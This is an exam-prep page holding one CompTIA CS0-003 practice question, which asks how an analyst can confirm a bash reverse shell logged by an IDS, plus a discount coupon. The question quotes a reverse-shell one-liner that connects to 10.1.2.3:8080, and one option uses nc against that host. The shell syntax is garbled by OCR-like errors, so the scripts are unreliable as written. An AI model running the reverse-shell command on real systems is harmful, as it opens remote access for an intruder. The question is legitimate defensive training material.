A security analyst identified the following suspicious entry on the host-based IDS logs:bash -i >...

CompTIA CS0-003 Question Answer

A security analyst identified the following suspicious entry on the host-based IDS logs:

bash -i > & /dev/tcp/10.1.2.3/8080 0 > & 1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

#!/bin/bashnc 10.1.2.3 8080 -vv > dev/null & & echo " Malicious activity " Il echo " OK "

#!/bin/bashps -fea | grep 8080 > dev/null & & echo " Malicious activity " I| echo " OK "

#!/bin/bashls /opt/tcp/10.1.2.3/8080 > dev/null & & echo " Malicious activity " I| echo " OK "

#!/bin/bashnetstat -antp Igrep 8080 > dev/null & & echo " Malicious activity " I| echo " OK "

CS0-003 PDF/Engine

Get 65% Discount on All Products, Use Coupon: "ac4s65"